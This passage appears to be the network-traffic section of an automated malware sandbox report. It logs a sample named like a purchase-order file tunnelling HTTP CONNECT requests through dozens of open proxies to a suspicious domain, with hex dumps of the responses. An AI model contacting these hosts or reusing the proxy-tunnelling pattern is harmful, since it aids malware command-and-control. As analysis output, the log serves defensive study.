Mar 11, 2024 16:42:27.506285906 CET	176	IN	HTTP/1.1 404 Not Found Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 11 Mar 2024 15:42:27 GMT Content-Length: 19 Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1084	192.168.2.11	53589	72.10.164.178	29471	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.675182104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.728020906 CET	19	IN	HTTP/1.0 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1085	192.168.2.11	53459	103.231.78.36	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.675312996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1086	192.168.2.11	53512	147.75.92.251	10089	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.675362110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.956893921 CET	356	IN	HTTP/1.0 502 Bad Gateway Server: Zscaler/6.3 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 4e 53 20 65 72 72 6f 72 3c 2f 68 31 3e 0d 0a 3c 70 3e 44 4e 53 20 65 72 72 6f 72 20 28 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 6f 66 20 74 68 65 20 70 61 67 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 29 3c 62 72 3e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 61 74 20 74 68 65 20 68 6f 73 74 20 6e 61 6d 65 20 68 61 73 20 62 65 65 6e 20 73 70 65 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 21 2d 2d 5a 73 63 61 6c 65 72 2f 36 2e 33 2d 2d 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><h1>DNS error</h1><p>DNS error (the host name of the page you are looking for does not exist)<br><br>Please check that the host name has been spelled correctly.<br></p>...Zscaler/6.3--></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1087	192.168.2.11	53450	83.143.24.66	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.675451994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.688715935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.567302942 CET	19	IN	HTTP/1.1 200 OK
Mar 11, 2024 16:42:26.624645948 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 61 62 76 f6 65 9b 70 dc e8 94 3b 41 a1 de f0 19 66 56 a8 68 1b 29 f0 c1 05 12 c4 46 40 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&abvep;AfVh)F@*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:27.282587051 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 26 62 28 45 4d a7 0a aa 35 ac d6 2e 30 a4 07 13 20 6c da 17 a4 4b 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e&b(EM5.0 lKDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Mar 11, 2024 16:42:27.282596111 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Mar 11, 2024 16:42:27.282664061 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Mar 11, 2024 16:42:27.282670975 CET	238	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y
Mar 11, 2024 16:42:27.746839046 CET	594	IN	Data Raw: 02 05 03 03 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 34 a4 1e b1 28 a3 d0 b4 76 17 a6 31 7a 21 e9 d1 52 3e c8 db 74 16 41 88 b8 3d 35 1d ed e4 ff 93 e1 5c 5f ab bb ea 7c cf db e4 0d d1 8b 57 f2 26 6f 5b be 17 46 68 94 37 6f 6b Data Ascii: 0H4(v1z!R>tA=5\_\|W&o[Fh7okz7%QhIZ#+IjuXHW5ooNi-h+s"7fIUg2&p=gm=\|42njoK;7D~lF!fUl)f[w
Mar 11, 2024 16:42:27.748610020 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 a8 1a d9 2b a7 fa 8f 0b 1f e2 be 44 a5 8c d6 9e 40 48 ed 17 da b7 e7 5a a1 e0 79 ac cd 0e 0a 1a 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 31 b6 19 3e e1 5c 51 9d 9b f9 ce 19 ae 6a 9e bf 44 d6 4a 39 96 Data Ascii: %! +D@HZy(1>\QjDJ98FKHo
Mar 11, 2024 16:42:28.397361994 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 1e 00 c0 5b e8 72 5f d9 46 7c 14 ec 1b 1d 56 a2 2d 04 e2 e5 e0 dd 73 ba 22 ae 02 00 0d 30 7a bf 21 1e 37 d3 a6 00 b5 2e b2 9f 8e 3c 91 a4 ac ba 5a 9e 25 e8 3b a7 80 24 66 67 24 90 0f 09 b9 24 0f e2 66 9b a2 25 Data Ascii: [r_F\|V-s"0z!7.<Z%;$fg$$f%R0 /vOON)]K~m!hj8tP1hzNQs+DFzgogi^oSQ4.2LfctGduP{V21s='>?(aZl}qv&[
Mar 11, 2024 16:42:28.420244932 CET	277	OUT	Data Raw: 17 03 03 01 10 00 00 00 00 00 00 00 01 56 60 4d 3e e1 ea 6f 04 e8 68 fa b0 a6 59 ca 7e 0d 76 c2 61 4b 13 b8 f3 ab a7 af 00 43 35 c4 25 32 f9 4d e7 75 7a c8 71 73 63 ca 02 b3 d5 c9 ad 97 fc a8 50 19 a0 39 0e 7f 5d 43 fc 33 1b ba 48 52 0d c9 29 5d Data Ascii: V`M>ohY~vaKC5%2MuzqscP9]C3HR)]VfBi7C.<[q"#UrjD3M,K4"vfUr<\|LW#'}stKnkwcIH!Q~{Vb2JV\,u.)
Mar 11, 2024 16:42:29.078310013 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 97 85 73 7f 72 22 6e a0 14 1e 94 39 c8 55 c2 e9 42 10 2b 28 3d 72 0a 05 35 b6 e0 bb 05 89 d7 1e f9 73 95 e6 3b 77 4d 22 ea de 5f 9c 3a ee 9f af 33 00 0f 73 48 21 7d 21 fa e7 85 54 3f 18 7e d0 9b d8 14 4b 7e Data Ascii: qsr"n9UB+(=r5s;wM"_:3sH!}!T?~K~Xk 'G`K!67>bExGLlC^Nv)=IT fsls:?B0]RP4X% UMc:BK*CatU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1088	192.168.2.11	51363	51.15.223.24	16379	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.675534964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.216249943 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1089	192.168.2.11	53645	185.162.229.112	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.695431948 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.850997925 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1090	192.168.2.11	53660	104.17.215.222	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.699390888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.853812933 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1091	192.168.2.11	53646	1.0.0.4	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.699676991 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.854121923 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1092	192.168.2.11	52918	50.63.12.101	6095	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.700747013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1093	192.168.2.11	53530	158.255.215.50	11857	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.704921961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.005565882 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:42:23 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1094	192.168.2.11	53524	13.37.89.201	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.708580971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.005398989 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:23 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1095	192.168.2.11	53482	177.67.136.241	4153	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.710122108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1096	192.168.2.11	53655	35.190.107.16	30000	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.714004993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1097	192.168.2.11	53460	175.183.82.221	8193	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.728566885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1098	192.168.2.11	53478	61.79.73.225	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.746033907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1099	192.168.2.11	53608	8.217.143.187	15673	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.759183884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1100	192.168.2.11	53541	202.139.198.15	3050	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:23.762042999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:46.763164997 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1101	192.168.2.11	53574	157.185.173.217	26589	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
